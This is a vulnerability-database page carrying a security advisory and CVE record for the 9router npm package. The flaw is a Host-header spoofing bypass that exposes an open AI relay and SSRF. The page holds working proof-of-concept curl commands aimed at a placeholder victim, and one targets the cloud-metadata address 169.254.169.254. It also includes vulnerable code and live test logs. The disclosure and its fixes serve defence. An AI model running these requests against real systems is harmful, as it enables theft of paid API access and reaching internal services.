Vulnerability-Lookup

GHSA-86M2-FCXQ-5Q7C

Vulnerability from github – Published: 2026-08-28 18:33 – Updated: 2026-08-28 18:33

Summary

9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF

Details

Summary

9router's request guard decides a request is "local" (and therefore exempt from API-key auth on the /v1 LLM proxy) by reading the client-controlled Host header. Because 9router binds 0.0.0.0 by default (and the CLI misleadingly prints "localhost"), a remote, unauthenticated attacker who can reach the port can send Host: localhost to be treated as local and obtain /v1 proxy access with no API key, no CLI token, and no dashboard login. In the default configuration (requireApiKey is absent from DEFAULT_SETTINGS, so the handler-side key check is skipped), this yields:

Open AI relay — the proxy forwards the attacker's requests to AI providers using the victim's stored paid API keys (cost/quota theft, prompt-based data exfiltration through the victim's accounts).
Unauthenticated SSRF — /v1/search with the built-in noAuth searxng provider takes its outbound fetch URL from the request body (provider_options.baseUrl), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.
Affected: 9router <= 0.4.80 (current), src/dashboardGuard.js (isLocalRequest), src/sse/handlers/{chat,search}.js, src/lib/db/repos/settingsRepo.js, cli/cli.js.
Distinct from the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy <0.3.75 authz bypass).

Details

The bypass (`src/dashboardGuard.js`)

function isLoopbackHostname(h){ const name=h.split(":")[0].replace(/^\[|\]$/g,"").toLowerCase();
  return new Set(["localhost","127.0.0.1","::1"]).has(name); }
function isLocalRequest(request){
  if (!isLoopbackHostname(request.headers.get("host"))) return false;   // <-- client-controlled Host
  const origin = request.headers.get("origin");
  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }
  return true;
}
async function canAccessPublicLlmApi(request){
  if (isLocalRequest(request)) return true;     // <-- "local" => no key required
  if (await hasValidCliToken(request)) return true;
  return await hasValidApiKey(request);
}

isLocalRequest never consults the socket peer address — only the spoofable Host header (and an absent/loopback Origin). The /v1,/v1beta,/api/v1,/api/v1beta prefixes are gated solely by canAccessPublicLlmApi.

Default exposure

cli/cli.js:63 const DEFAULT_HOST = "0.0.0.0"; and Dockerfile ENV HOSTNAME=0.0.0.0 / EXPOSE 20128 → reachable from the network by default.
cli/cli.js:500,541 display "localhost" even when bound to 0.0.0.0 — operators believe it's local-only.
src/lib/db/repos/settingsRepo.js DEFAULT_SETTINGS has no requireApiKey → the handler key checks (chat.js if (settings.requireApiKey), search.js same) are skipped by default.

Relay chain (verbatim trace, 0.4.71)

middleware (src/proxy.js, matcher covers all paths) → canAccessPublicLlmApi true via spoofed Host → next.config.mjs rewrites /v1/:path*→/api/v1/:path* → src/app/api/v1/messages/route.js POST → handleChat (no independent auth) → only gate falsy requireApiKey → getProviderCredentials() loads the victim's stored credentials → handleChatCore outbound fetch → response returned. No downstream key gate.

SSRF chain

search.js (only gate falsy requireApiKey) → searxng noAuth:true ⇒ handleSearchCore({credentials:null}) → coreBody.provider_options = body.provider_options → callers.js:

export function resolveBaseUrl(config, params){
  const override = getProviderSetting(params, "baseUrl");   // reads params.providerOptions.baseUrl FIRST
  return (override || config.baseUrl).replace(/\/+$/, "");
}

→ buildSearxngRequest appends /search?q=...&format=json&categories=general → fetch(url) (server-side) → JSON reflected to caller.

PoC

Ground-truth, no network egress: harness/hostspoof.mjs (verbatim guard logic) and harness/ssrf_search.mjs (imports the real handleSearchCore + AI_PROVIDERS.searxng).

Guard bypass (hostspoof.mjs, exit 2):

attacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS
   denied       honest remote (real Host)
*** ALLOWED ***  SPOOF Host: localhost (no Origin)
*** ALLOWED ***  SPOOF Host: 127.0.0.1
*** ALLOWED ***  SPOOF Host: localhost:20128
   denied       SPOOF Host + Origin evil (blocked)
RESULT: BYPASS — remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.

SSRF (ssrf_search.mjs, real imported code):

[*] searxng configured baseUrl: http://localhost:8888/search
[*] attacker provider_options.baseUrl: http://127.0.0.1:<port>
[*] credentials passed to core: null (noAuth => key-less attacker)
internal service reached by 9router process: true
path hit: /search?q=x&format=json&categories=general
data returned to attacker: [{"title":"INTERNAL-DATA",...,"content":"leaked"...}]
SSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.

Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)

Built & ran 9router@0.4.71 (Next.js 16.2.9, bound 0.0.0.0:20128, default settings, no provider configured, no api key/login). Attacker = a request to the box's non-loopback LAN IP 10.204.111.34 (a genuine remote peer); only the Host header differs between the control and the attack:

(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128
    => HTTP 401 {"error":"API key required for remote API access"}      [guard blocks remote]

(B) spoofed Host: localhost:  POST /v1/search  Host: localhost
       body: {"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://127.0.0.1:19099"}}
    => HTTP 200, and the attacker's listener logged:
       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1
    => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.

(B') relay path POST /v1/messages, same Host-spoof:
       honest Host => 401 ;  Host: localhost => 404 {"error":"No active credentials for provider: openai"}
    => bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured).

Changing only the Host header (401 → reaches the handler), from the same remote peer, is the entire bypass — confirmed live on a default-config running instance. (Full SSRF response reflection requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF — the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider — the normal state — to actually spend the victim's key.) See repro/LIVE-EVIDENCE.txt.

Reproduce (against a network-reachable 9router; VICTIM_IP = the box):

# Open AI relay — no Authorization/x-api-key/cookie; victim's key pays:
curl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"model":"claude-3-5-sonnet-20241022","max_tokens":64,"messages":[{"role":"user","content":"relay test"}]}'

# SSRF — attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:
curl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}'

Impact

Any 9router reachable on a network (default 0.0.0.0 bind, plus Docker -p, tunnel, or tailscale — all first-class features) can be: - used as a free AI relay billed to the victim's provider accounts, exhausting quota and exfiltrating data through their keys; and - used to reach internal services / cloud metadata (169.254.169.254) with the response reflected to the attacker. Unauthenticated, no user interaction, default configuration. The only precondition is the normal one (≥1 configured provider).

Recommended fix

Determine "local" from the socket peer IP, never the Host header — treat as local only if the TCP peer is 127.0.0.0/8 / ::1.
Bind 127.0.0.1 by default; require an explicit, warned opt-in for 0.0.0.0; fix the CLI to not print "localhost" when bound to all interfaces.
For any non-loopback peer, require a valid API key regardless of requireApiKey; add requireApiKey: true to DEFAULT_SETTINGS (fail-closed).
Validate provider_options.baseUrl against an allowlist (or drop the override) and block requests to private/link-local ranges in resolveBaseUrl.
Remove Access-Control-Allow-Origin: * from /v1 GET metadata routes.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327",
      "CWE-290",
      "CWE-348",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:33:20Z",
    "nvd_published_at": "2026-07-10T17:16:59Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n9router\u0027s request guard decides a request is \"local\" (and therefore exempt from API-key auth on the `/v1` LLM proxy) by reading the **client-controlled `Host` header**. Because 9router binds `0.0.0.0` by default (and the CLI misleadingly prints \"localhost\"), a remote, unauthenticated attacker who can reach the port can send `Host: localhost` to be treated as local and obtain `/v1` proxy access with **no API key, no CLI token, and no dashboard login**. In the default configuration (`requireApiKey` is absent from `DEFAULT_SETTINGS`, so the handler-side key check is skipped), this yields:\n\n- **Open AI relay** \u2014 the proxy forwards the attacker\u0027s requests to AI providers using the **victim\u0027s stored paid API keys** (cost/quota theft, prompt-based data exfiltration through the victim\u0027s accounts).\n- **Unauthenticated SSRF** \u2014 `/v1/search` with the built-in `noAuth` `searxng` provider takes its outbound fetch URL from the request body (`provider_options.baseUrl`), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.\n\n- **Affected:** `9router \u003c= 0.4.80` (current), `src/dashboardGuard.js` (`isLocalRequest`), `src/sse/handlers/{chat,search}.js`, `src/lib/db/repos/settingsRepo.js`, `cli/cli.js`.\n- **Distinct from** the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy `\u003c0.3.75` authz bypass).\n\n## Details\n\n### The bypass (`src/dashboardGuard.js`)\n```js\nfunction isLoopbackHostname(h){ const name=h.split(\":\")[0].replace(/^\\[|\\]$/g,\"\").toLowerCase();\n  return new Set([\"localhost\",\"127.0.0.1\",\"::1\"]).has(name); }\nfunction isLocalRequest(request){\n  if (!isLoopbackHostname(request.headers.get(\"host\"))) return false;   // \u003c-- client-controlled Host\n  const origin = request.headers.get(\"origin\");\n  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }\n  return true;\n}\nasync function canAccessPublicLlmApi(request){\n  if (isLocalRequest(request)) return true;     // \u003c-- \"local\" =\u003e no key required\n  if (await hasValidCliToken(request)) return true;\n  return await hasValidApiKey(request);\n}\n```\n`isLocalRequest` never consults the **socket peer address** \u2014 only the spoofable `Host` header (and an absent/loopback `Origin`). The `/v1`,`/v1beta`,`/api/v1`,`/api/v1beta` prefixes are gated solely by `canAccessPublicLlmApi`.\n\n### Default exposure\n- `cli/cli.js:63` `const DEFAULT_HOST = \"0.0.0.0\";` and `Dockerfile` `ENV HOSTNAME=0.0.0.0` / `EXPOSE 20128` \u2192 reachable from the network by default.\n- `cli/cli.js:500,541` display `\"localhost\"` even when bound to `0.0.0.0` \u2014 operators believe it\u0027s local-only.\n- `src/lib/db/repos/settingsRepo.js` `DEFAULT_SETTINGS` has **no `requireApiKey`** \u2192 the handler key checks (`chat.js` `if (settings.requireApiKey)`, `search.js` same) are skipped by default.\n\n### Relay chain (verbatim trace, 0.4.71)\nmiddleware (`src/proxy.js`, matcher covers all paths) \u2192 `canAccessPublicLlmApi` true via spoofed Host \u2192 `next.config.mjs` rewrites `/v1/:path*`\u2192`/api/v1/:path*` \u2192 `src/app/api/v1/messages/route.js` POST \u2192 `handleChat` (no independent auth) \u2192 only gate falsy `requireApiKey` \u2192 `getProviderCredentials()` loads the victim\u0027s stored credentials \u2192 `handleChatCore` outbound fetch \u2192 response returned. **No downstream key gate.**\n\n### SSRF chain\n`search.js` (only gate falsy `requireApiKey`) \u2192 `searxng` `noAuth:true` \u21d2 `handleSearchCore({credentials:null})` \u2192 `coreBody.provider_options = body.provider_options` \u2192 `callers.js`:\n```js\nexport function resolveBaseUrl(config, params){\n  const override = getProviderSetting(params, \"baseUrl\");   // reads params.providerOptions.baseUrl FIRST\n  return (override || config.baseUrl).replace(/\\/+$/, \"\");\n}\n```\n\u2192 `buildSearxngRequest` appends `/search?q=...\u0026format=json\u0026categories=general` \u2192 `fetch(url)` (server-side) \u2192 JSON reflected to caller.\n\n## PoC\n\nGround-truth, no network egress: `harness/hostspoof.mjs` (verbatim guard logic) and `harness/ssrf_search.mjs` (imports the *real* `handleSearchCore` + `AI_PROVIDERS.searxng`).\n\n**Guard bypass (`hostspoof.mjs`, exit 2):**\n```\nattacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS\n   denied       honest remote (real Host)\n*** ALLOWED ***  SPOOF Host: localhost (no Origin)\n*** ALLOWED ***  SPOOF Host: 127.0.0.1\n*** ALLOWED ***  SPOOF Host: localhost:20128\n   denied       SPOOF Host + Origin evil (blocked)\nRESULT: BYPASS \u2014 remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.\n```\n\n**SSRF (`ssrf_search.mjs`, real imported code):**\n```\n[*] searxng configured baseUrl: http://localhost:8888/search\n[*] attacker provider_options.baseUrl: http://127.0.0.1:\u003cport\u003e\n[*] credentials passed to core: null (noAuth =\u003e key-less attacker)\ninternal service reached by 9router process: true\npath hit: /search?q=x\u0026format=json\u0026categories=general\ndata returned to attacker: [{\"title\":\"INTERNAL-DATA\",...,\"content\":\"leaked\"...}]\nSSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.\n```\n\n### Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)\n\nBuilt \u0026 ran `9router@0.4.71` (Next.js 16.2.9, bound `0.0.0.0:20128`, **default settings, no provider configured, no api key/login**). Attacker = a request to the box\u0027s **non-loopback LAN IP `10.204.111.34`** (a genuine remote peer); only the `Host` header differs between the control and the attack:\n\n```\n(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128\n    =\u003e HTTP 401 {\"error\":\"API key required for remote API access\"}      [guard blocks remote]\n\n(B) spoofed Host: localhost:  POST /v1/search  Host: localhost\n       body: {\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://127.0.0.1:19099\"}}\n    =\u003e HTTP 200, and the attacker\u0027s listener logged:\n       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x\u0026format=json\u0026categories=general | from 127.0.0.1\n    =\u003e the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.\n\n(B\u0027) relay path POST /v1/messages, same Host-spoof:\n       honest Host =\u003e 401 ;  Host: localhost =\u003e 404 {\"error\":\"No active credentials for provider: openai\"}\n    =\u003e bypass reached handleChat\u0027s provider selection (would forward on the VICTIM\u0027S key if one were configured).\n```\nChanging **only** the `Host` header (401 \u2192 reaches the handler), from the same remote peer, is the entire bypass \u2014 confirmed live on a default-config running instance. (Full SSRF response *reflection* requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF \u2014 the server-side request to the attacker URL is the proven primitive. The relay needs \u22651 configured provider \u2014 the normal state \u2014 to actually spend the victim\u0027s key.) See `repro/LIVE-EVIDENCE.txt`.\n\n**Reproduce** (against a network-reachable 9router; `VICTIM_IP` = the box):\n```bash\n# Open AI relay \u2014 no Authorization/x-api-key/cookie; victim\u0027s key pays:\ncurl -sS http://VICTIM_IP:20128/v1/messages -H \u0027Host: localhost\u0027 -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"model\":\"claude-3-5-sonnet-20241022\",\"max_tokens\":64,\"messages\":[{\"role\":\"user\",\"content\":\"relay test\"}]}\u0027\n\n# SSRF \u2014 attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:\ncurl -sS http://VICTIM_IP:20128/v1/search -H \u0027Host: localhost\u0027 -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://169.254.169.254/latest/meta-data\"}}\u0027\n```\n\n## Impact\n\nAny 9router reachable on a network (default `0.0.0.0` bind, plus Docker `-p`, tunnel, or tailscale \u2014 all first-class features) can be:\n- used as a free AI relay billed to the victim\u0027s provider accounts, exhausting quota and exfiltrating data through their keys; and\n- used to reach internal services / cloud metadata (`169.254.169.254`) with the response reflected to the attacker.\nUnauthenticated, no user interaction, default configuration. The only precondition is the normal one (\u22651 configured provider).\n\n## Recommended fix\n1. Determine \"local\" from the **socket peer IP**, never the `Host` header \u2014 treat as local only if the TCP peer is `127.0.0.0/8` / `::1`.\n2. Bind `127.0.0.1` by default; require an explicit, warned opt-in for `0.0.0.0`; fix the CLI to not print \"localhost\" when bound to all interfaces.\n3. For any non-loopback peer, require a valid API key regardless of `requireApiKey`; add `requireApiKey: true` to `DEFAULT_SETTINGS` (fail-closed).\n4. Validate `provider_options.baseUrl` against an allowlist (or drop the override) and block requests to private/link-local ranges in `resolveBaseUrl`.\n5. Remove `Access-Control-Allow-Origin: *` from `/v1` GET metadata routes.",
  "id": "GHSA-86m2-fcxq-5q7c",
  "modified": "2026-08-28T18:33:20Z",
  "published": "2026-08-28T18:33:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing \u2192 open AI relay + SSRF"
}

CVE-2026-55641 (GCVE-0-2026-55641)

Vulnerability from cvelistv5 – Published: 2026-07-10 15:36 – Updated: 2026-07-10 19:06

Title

9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF

Summary

9Router is an AI router & token saver. Prior to 0.5.2, 9router determines whether a /v1 LLM proxy request is local by reading the client-controlled Host header, allowing a remote unauthenticated attacker to send Host: localhost and bypass API-key authentication. In the default configuration, this exposes the /v1 proxy to upstream provider calls using stored provider credentials and allows /v1/search with the searxng provider_options.baseUrl parameter to drive server-side requests to internal or cloud-metadata hosts. This issue is fixed in version 0.5.2.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-10 19:06 UTC

CWE

CWE-290 - Authentication Bypass by Spoofing
CWE-348 - Use of Less Trusted Source
CWE-918 - Server-Side Request Forgery (SSRF)
CWE-1327 - Binding to an Unrestricted IP Address

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/decolua/9router/security/advis…	x_refsource_CONFIRM
https://github.com/decolua/9router/commit/b282f05…	x_refsource_MISC
https://github.com/decolua/9router/releases/tag/v0.5.2	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
decolua	9router	Affected: < 0.5.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55641",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-10T19:06:04.625545Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-10T19:06:14.379Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "9router",
          "vendor": "decolua",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.5.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "9Router is an AI router \u0026 token saver. Prior to 0.5.2, 9router determines whether a /v1 LLM proxy request is local by reading the client-controlled Host header, allowing a remote unauthenticated attacker to send Host: localhost and bypass API-key authentication. In the default configuration, this exposes the /v1 proxy to upstream provider calls using stored provider credentials and allows /v1/search with the searxng provider_options.baseUrl parameter to drive server-side requests to internal or cloud-metadata hosts. This issue is fixed in version 0.5.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-290",
              "description": "CWE-290: Authentication Bypass by Spoofing",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-348",
              "description": "CWE-348: Use of Less Trusted Source",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-1327",
              "description": "CWE-1327: Binding to an Unrestricted IP Address",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-10T15:36:05.964Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
        },
        {
          "name": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
        },
        {
          "name": "https://github.com/decolua/9router/releases/tag/v0.5.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
        }
      ],
      "source": {
        "advisory": "GHSA-86m2-fcxq-5q7c",
        "discovery": "UNKNOWN"
      },
      "title": "9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing \u2192 open AI relay + SSRF"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55641",
    "datePublished": "2026-07-10T15:36:05.964Z",
    "dateReserved": "2026-06-16T23:52:12.057Z",
    "dateUpdated": "2026-07-10T19:06:14.379Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-86M2-FCXQ-5Q7C

Summary

Details

The bypass (src/dashboardGuard.js)

Default exposure

Relay chain (verbatim trace, 0.4.71)

SSRF chain

PoC

Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)

Impact

Recommended fix

CVE-2026-55641 (GCVE-0-2026-55641)

Tags

Sightings

Nomenclature

The bypass (`src/dashboardGuard.js`)